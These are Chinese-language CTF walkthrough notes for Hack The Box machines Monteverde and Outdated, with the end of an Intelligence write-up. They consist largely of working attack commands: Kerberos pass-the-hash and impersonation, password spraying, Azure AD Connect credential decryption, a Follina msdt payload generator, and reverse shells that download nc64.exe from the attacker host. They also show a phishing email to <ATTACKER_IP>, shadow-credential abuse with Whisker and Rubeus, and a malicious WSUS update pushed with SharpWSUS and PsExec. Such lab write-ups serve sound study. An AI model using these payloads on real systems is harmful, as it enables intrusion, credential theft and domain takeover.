对我来说不幸的是,我无法破解这个哈希值。不过,因为它是 NTLM 哈希,所以我可以传递它。

Abusing Kerberos From Linux - An Overview of Available Tools 这里面有如何攻击

因为svc_int对admin有allowedtodelegate(授权)权限,所以可以使用PTT攻击

获取票据

getST.py -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :e0dcda8d93bf71a6352ea7803c8f17f1 -impersonate administrator intelligence.htb/svc_int

-impersonate administrator 这个是想模拟的用户(任何有效的用户名)

image-20240106224133814

出现报错是时间问题,解决

sudo apt-get install virtualbox-guest-utils

sudo service virtualbox-guest-utils stop

sudo apt-get install ntpdate

sudo ntpdate 10.10.10.248

再次执行getST.py获取票据

KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass administrator@dc.intelligence.htb

直接横向提权

KRB5CCNAME=administrator.ccache这个环境变量以指向我要使用的票证文件

Monteverde

rpcclient -U "" -N 10.10.10.172

rpcclient $> querydispinfo 得到用用户列表

把用户当作密码尝试一下爆破

crackmapexec smb 10.10.10.172 -u users -p users --continue-on-success

得到

利用

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs

smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$' -R 递归user$列表下的所有文件

有一个文件位于\\10.10.10.172\mhope\azure.xml 可以尝试下载下来看一下

smbclient下载,查看里面有一个密码

4n0therD4y@n0th3r$

4n0therD4y@n0th3r$

该文件是在user目录下的由于该配置文件位于 mhope 目录下发现的,判断他是mhope的密码

crackmapexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 判断正确

net user 该用户属于 *Azure Admins 组

还有很多与此相关的程序:

*Evil-WinRM* PS C:\Program Files> ls *Azure*

    Directory: C:\Program Files

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/2/2020   2:51 PM                Microsoft Azure Active Directory Connect
d-----         1/2/2020   3:37 PM                Microsoft Azure Active Directory Connect Upgrader
d-----         1/2/2020   3:02 PM                Microsoft Azure AD Connect Health Sync Agent
d-----         1/2/2020   2:53 PM                Microsoft Azure AD Sync   

Azure Active Directory (Azure AD) 是 Microsoft 基于云的身份和访问管理服务。它是一个全面的身份和访问管理解决方案,提供强大的安全性、可扩展性以及与各种 Microsoft 和第三方服务的集成。Azure AD 是 Microsoft Azure 云平台的基本组件,广泛用于管理用户身份并实现对应用程序和资源的安全访问。

goole找exploit AD via azure

Azure AD Connect for Red Teamers - XPN InfoSec Blog

Azure AD Connect Database Exploit (Priv Esc) | VbScrub

Releases · VbScrub/AdSyncDecrypt · GitHub 工具

我对滥用 Azure 连接的粗糙理解

第一个,也可以说是最有趣的是密码哈希同步 (PHS),它将用户帐户和密码哈希从 Active Directory 上传到 Azure。第二种方法是直通身份验证 (PTA),它允许 Azure 将身份验证请求转发到本地 AD,而不是依赖上传哈希值。最后,我们有联合身份验证,这是我们已经见过无数次的传统 ADFS 部署。

phs

在安装 Azure AD Connect 期间创建了一个新用户,用户名为MSOL_[HEX],然后这个用户来处理 Active Directory 到 Azure 的复制,要获取该用户权限,

现在,默认情况下,部署连接器时,会使用 SQL Server 的 LOCALDB 在主机上创建一个新数据库,里面有个文件有用户的详细信息加密

C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll对负责密钥管理和此数据解密的程序集的许多引用,可以利用poc它将从 LocalDB 实例检索密钥材料,然后将其传递给程序mcrypt.dll集进行解密:

攻击前提破坏:包含 Azure AD Connect 服务的服务器,并获得对 ADSyncAdmins 或本地管理员组的访问权限,您就能够检索能够执行 DCSync 的帐户的凭据:

pta没写了

利用过程(需要上传到用户的工作目录,这边选C:\Users\mhope\Documents)

upload /home/kali/monte/AdDecrypt.exe

upload /home/kali/monte/mcrypt.dll

切换目录报错

image-20240108211803811

解决(因为有空格所以加”“就可以

Set-Location "C:\Program Files" Set-Location是cd替代

cd "Microsoft Azure AD Sync\Bin“

需要在C:\Program Files\Microsoft Azure AD Sync\Bin下执行该用户工作目录下的AdDecrypt.exe

\users\mhope\documents\AdDecrypt.exe -FullSQL

可以得到密码d0m@in4dminyeah!

Outdated

smbclient -L查看共享文件

有几个关于WSUS 相关的共享(WsusContentWSUSTemp),同样的行为也是如此。Windows Server Update Services (WSUS) 是一个用于在整个网络中分发补丁的系统。

在share目录下下载get NOC_Reminder.pdf

内容:

第一个暗示是他们正在寻找将 Web 应用程序链接发送到的人itsupport@outdated.htb。这很有用,并表明有人会点击这些链接。

还有一个 CVE 列表:

  • CVE-2022-30190 - 这是 2022 年 5 月末出现的重大 MSDT(也称为 Folina)漏洞。我稍后会讨论这个问题。

  • CVE-2022-30129 - 此漏洞利用 VSCode。很多信息都是基于这个演示,我认为它试图通过打开浏览器访问 PornHub 来展示 RCE。实际问题在这里描述得很好,涉及到vscode://url。在发布时,我找不到任何 POC,也没有理由认为 VSCode 已安装在盒子上。

  • CVE-2022-30138 - Windows 打印后台处理程序中的漏洞,但仅限本地权限提升。

  • CVE-2022-29130 - LDAP 中的 RCE。在发布时,我找不到此漏洞的任何 POC。

  • CVE-2022-29110 - Excel 中的 RCE。在发布时,我找不到此漏洞的任何 POC,也没有迹象表明盒子上安装了 Excel。

CVE-2022-30190 背景

当 Folina 第一次公开时,约翰·哈蒙德(John Hammond)发布了这段非常可靠的视频来解释它。有可能滥用msdt://URL 协议来执行代码。最常见的攻击路径是 Office 文档,其中包含对攻击者控制的 HTML 文件的外部引用,并且该 HTML 文件包含重定向到 URL 的 JavaScript msdt://

通常这不会成为问题,因为 Microsoft 诊断工具会弹出对话框并要求用户输入,但似乎当 URL 长于 4096 字节时,就会被绕过。当研究人员第一次向微软提交这个漏洞时,实际上忽略了这个细节,导致该漏洞被当作不是漏洞而被拒绝,并为许多受害者延长了漏洞窗口。

2022年5月27日,我们发现有安全研究人员公开了一个新的Office漏洞,称为Follina,由白俄罗斯的一个IP地址上传。该漏洞的原理是利用Microsoft Office将远程HTML页面作为OLE对象插入的功能,文档打开后将访问远程HTML页面并执行其中的代码,攻击者利用js代码将页面重定向,使其通过”ms-msdt:”协议访问URL链接,调用本地msdt.exe并传入攻击者构造好的参数,最终执行任意PowerShell代码。值得注意的是,该漏洞在宏被禁用的情况下仍可被利用,具有较大的安全隐患。

【涨知识】利用Follina漏洞网络攻击的加密流量分析 - 安全牛

我将向itsupport@outdated.htb注释中注明的电子邮件地址发送一封电子邮件,其中包含 Folina 漏洞利用的链接。通常,Folina 被打包在 Word 文档中,以真正避免弹出窗口等问题。为了解决“过时”问题,我只需要使用一个 HTML 页面,该页面使用 JavaScript 重定向到 URL msdt://

似乎电子邮件上的垃圾邮件过滤器正在捕获某些电子邮件,然后他们的链接不会被点击。例如,如果电子邮件中的 URL 以 结尾.doc,则会被过滤。除此之外,Word 实际上并不在计算机上,因此发送指向文档的链接不会导致利用,而是会导致挫败感。

法一直接利用现成exp

GitHub - JohnHammond/msdt-follina: Codebase to generate an msdt-follina payload

该文本讨论了发送 IT 支持链接以监控内部平台。有趣的是,它还谈到了必须修补的 CVE,第一个CVE-2022-30190 .aka Follina,它使用 Word 的外部链接调用 Microsoft 支持诊断工具(MSDT)来执行代码执行。

利用此漏洞的最简单方法是使用John Hammond 的脚本

然而,由于这个脚本需要互联网下载nc64.exe文件,所以你需要修改它,所以它是从你的攻击机器上下载的。

[...]
	if args.reverse:
        command = f"""Invoke-WebRequest http://10.10.14.130/nc64.exe -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""
        os.system("cp nc64.exe "+serve_path
[...]
    if args.reverse:
        t = threading.Thread(target=serve_http, args=())
        t.start()
        print(f"[+] starting 'nc -lvnp {args.reverse}' ")
        os.system(f"rlwrap nc -lnvp {args.reverse}")

然后,执行脚本如下:

kali@kali:~/Documents/HTB/Outdated/msdt-follina$ python3 follina.py --interface tun0 --port 80 --reverse 443
[+] copied staging doc /tmp/wt3ylf2c
[+] created maldoc ./follina.doc
[+] serving html payload on :80
[+] starting 'nc -lvnp 443' 
listening on [any] 443 ...

最后,向 IT 支持发送一封电子邮件,其中包含本地计算机的链接,以便可以执行漏洞利用。

kali@kali:~/Documents/HTB/Outdated/msdt-follina$ swaks --to itsupport@outdated.htb --from marmeus@marmeus.com --server mail.outdated.htb --body "http://<ATTACKER_IP>/"

大约3分钟后,获得“btables”的反向shell。

C:\Users\btables\AppData\Local\Temp\SDIAG_20ab2273-6de8-4357-963b-cf3b570e74af>whoami
outdated\btables

法二

使用一些基于John Hammond 的 POC 的代码。这个 POC 做了很多事情,生成一个将请求 HTML 负载的 Word 文档,甚至提供网络服务器并捕获反向 shell。我将仅使用几行来生成 HTML 有效负载:

#!/usr/bin/env python3

import base64
import random
import string
import sys

if len(sys.argv) > 1:
    command = sys.argv[1]
else:
    command = "IWR http://10.10.14.6/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe 10.10.14.6 443 -e cmd"

base64_payload = base64.b64encode(command.encode("utf-8")).decode("utf-8")

# Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum
html_payload = f"""<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\""; //"""
html_payload += (
    "".join([random.choice(string.ascii_lowercase) for _ in range(4096)])
    + "\n</script>"
)

print(html_payload)

执行这个代码后将其生成的html代码复制到msdt.html里

image-20240108234246367

发送邮件给受害主体

swaks --to itsupport@outdated.htb --from "0xdf@0xdf.htb" --header "Subject: Internal web app" --body "http://10.10.14.6/msdt.html"

如果可行,用户将单击链接,请求msdt.html我将提供的页面,稍后,我应该收到上传请求nc64.exe(我将确保我的网络根目录中有一个副本),然后是一个 shell在 TCP 443 上。它的工作方式就像预期的那样。两个获取请求:

rlwrap -cAr nc -lnvp 443

上面的都没有复现成功,

hostname client

ipconfig意外的 IP 地址:这不是我通过电子邮件发送的公共 IP。我一定是在一个容器里。systeminfo表明该框是域的一部分outdated.htb

systeminfo

主机已打补丁,DC主机名为DC。

利用Sharphound.exe

iwr http://10.10.14.6/SharpHound.exe -outfile s.exe

.\s.exe -C all

smbserver.py -smb2support share . -user 0xdf -pass 0xdf0xdf

net use \10.10.14.6\share /u:0xdf 0xdf0xdf

copy 20220719203544_BloodHound.zip \10.10.14.6\share\

我将打开 Bloodhound、清除数据库并上传 Zip 文件。我将搜索 btable 并将它们标记为已拥有。仔细观察btables,他们在“出站控制权”下有一个“组委派对象控制”:

图片-20220719165310209

单击该按钮将其显示在图表上:

image-20240110150242149

作为 ITSTAFF 小组的成员,btablesAddKeyCredentialLink上有 sflowers。不幸的是,在撰写本文时,Bloodhound 中没有与该链接相关的滥用信息。

SpectorOps 的 Active Directory 专家发布的这篇文章定义了影子凭证的概念,以及如何滥用关键信任帐户映射来接管帐户。他们还发布了一个执行这种滥用行为的工具Whisker

解释

如果您可以写入用户的 msDS-KeyCredentialLink 属性,则可以检索该用户的 NT 哈希值。

当滥用密钥信任时,我们实际上是在向帐户添加替代凭据,或“影子凭据”,从而允许获取 TGT,然后获取用户/计算机的 NTLM 哈希值。即使用户/计算机更改了密码,这些影子凭证也会保留下来。

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

在获取帐户的 TGT 和 NTLM 哈希后,滥用计算机对象的密钥信任需要执行额外的步骤。一般有两种选择:

  1. 伪造 RC4 银票来冒充特权用户访问相应的主机。

  2. 使用TGT调用S4U2Self来模拟特权用户到相应的主机。此选项需要修改获取的服务票证以在服务名称中包含服务类。

密钥信任滥用还有一个额外的好处,即它不会将访问权限委托给可能受到损害的另一个帐户 - 它仅限于攻击者生成的私钥。此外,它不需要创建在实现权限升级之前可能难以清理的计算机帐户。

该技术需要以下条件:

  • 至少一个 Windows Server 2016 域控制器。

  • 安装在域控制器上的用于服务器身份验证的数字证书。

  • Active Directory 中的 Windows Server 2016 功能级别。

  • 危害具有写入目标对象的 msDS-KeyCredentialLink 属性的委派权限的帐户。

Whisker has four functions:

  • 添加 - 此函数生成公钥-私钥对,并向目标对象添加新的密钥凭证,就像用户从新设备注册到 WHfB 一样。

img

  • 列表 — 此函数列出目标对象的 msDS-KeyCredentialLink 属性的所有条目。

img

  • 删除 — 此函数从 DeviceID GUID 指定的目标对象中删除密钥凭证。

img

  • 清除 — 此函数从目标对象的 msDS-KeyCredentialLink 属性中删除所有值。如果目标对象合法地使用 WHfB,它就会崩溃。

img

使用

编译工具

我将跳转到我的 Windows VM,然后打开 Visual Studio 2022。在打开的屏幕上,我将选择“克隆存储库”:

图片-20220719175855736

在下一个窗口中,我将提供它https://github.com/eladshamir/Whisker并单击“克隆”。

该项目尚未开放。在右侧的“解决方案资源管理器”中,我将双击Whisker.sln将其打开。现在,我将“构建”选项设置为“Release”和“Any CPU”,然后按 Ctrl-Shift-B 进行构建:

图片-20220719180107403

它构建:

Build started...
1>------ Build started: Project: Whisker, Configuration: Release Any CPU ------
1>  Whisker -> C:\Users\0xdf\Source\Repos\Whisker\Whisker\bin\Release\Whisker.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

我会将结果复制Whisker.exe回我的 Linux VM。

利用影子凭证

我将Whisker.exe使用以下方式上传到“过时” iwr

PS C:\ProgramData> iwr http://10.10.14.6/Whisker.exe -outfile w.exe

我可以运行它来查找 sflowers 的任何当前条目。没有了:

PS C:\ProgramData> .\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb
.\w.exe list /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Listing deviced for sflowers:
[*] No entries!

我补充一下:

PS C:\ProgramData> .\w.exe add /domain:outdated.htb /target:sflowers /dc:DC.outdated.htb /password:0xdf0xdf
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 5cdd7103-25ea-444a-8a58-7dd254265116
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:

Rubeus.exe asktgt /user:sflowers /certificate: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 /password:"0xdf0xdf" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

最后一行给出了要运行的下一个命令Rubeus.exe(我从SharpCollection下载并上传为r.exe):

PS C:\ProgramData> .\r.exe asktgt /user:sflowers /certificate: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 /password:"0xdf0xdf" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

此命令生成 sflowers 的 NTLM 哈希值,我可以将其用作身份验证。

WSUS

现在有了sflowers的权限了

image-20240110150839077

net user sflowers /domain 它是*WSUS Administrators

谷歌搜搜 enumerate exploit wsus

最新的是SharpWSUS 帖子,它很好地概述了 WSUS 服务器如何为不同规模和复杂性的网络提供更新。

它还具有指向带有该工具的Github 存储库的链接,我将像上面的 Whisker 一样在 Visual Studio 中构建该工具,然后上传到 DC:

WSUS 是一种 Microsoft 解决方案,可供管理员在整个环境中以可扩展的方式部署 Microsoft 产品更新和补丁,使用的方法使内部服务器无需直接连接到 Internet。WSUS 在 Windows 企业环境中极为常见。

就相当于wsus下发补丁给机器,这边的wsus服务器和dc是统一主机,补丁的内容文章中是添加一个用户,这边我们是直接利用nc64反弹shell,然后利用工具输入更新机器补丁的命令就可以反弹shell了

使用SharpWSUS进行横向移动的流程如下:

  • 找到 WSUS 服务器并对其进行攻击。

  • 枚举 WSUS 服务器的内容以确定要定位的计算机。

  • 创建 WSUS 组。

  • 将目标计算机添加到 WSUS 组。

  • 创建恶意补丁。

  • 批准部署恶意补丁。

  • 等待客户端下载补丁。

  • 下载补丁后进行清理。

接下来跟着文章操作就可以了

upload SharpWSUS.exe sw.exe

Get-ItemProperty HKLM:\software\policies\microsoft\windows\WindowsUpdate

将显示正在使用的 WSUS 服务器

或者.\sw.exe locate 工具的命令

ping将显示它与 DC 是同一主机

image-20240110152537435

.\sw.exe inspect

枚举有关 WSUS 部署的各种详细信息,例如当前服务器管理的计算机、每台计算机上次签入更新的时间、任何下游服务器以及 WSUS 组。

WSUS 将仅运行已签名的 Microsoft 二进制文件。由于我没有好的方法来获得 MS 签名证书,因此我必须使用合法的东西。本文建议使用 Sysintenas 工具PSExec。我将下载Sysinternals,复制PsExec.exe到我的网络服务器,然后上传:

.\sw.exe create /payload:"C:\programdata\ps.exe" /args:" -accepteula -s -d c:\programdata\nc64.exe -e cmd.exe 10.10.14.6 445" /title:"CVE-2022-30190"

我需要使用输出中给出的语法(/groupname任意)来批准更新:

.\sw.exe approve /updateid:ea097920-0e17-4f9e-8045-0dfc5078a317 /computername:dc.outdated.htb /groupname:"CriticalPatches"

rlwrap -cAr nc -lnvp 445 成功提权

Scrambled

%userprofile% 是一个环境变量

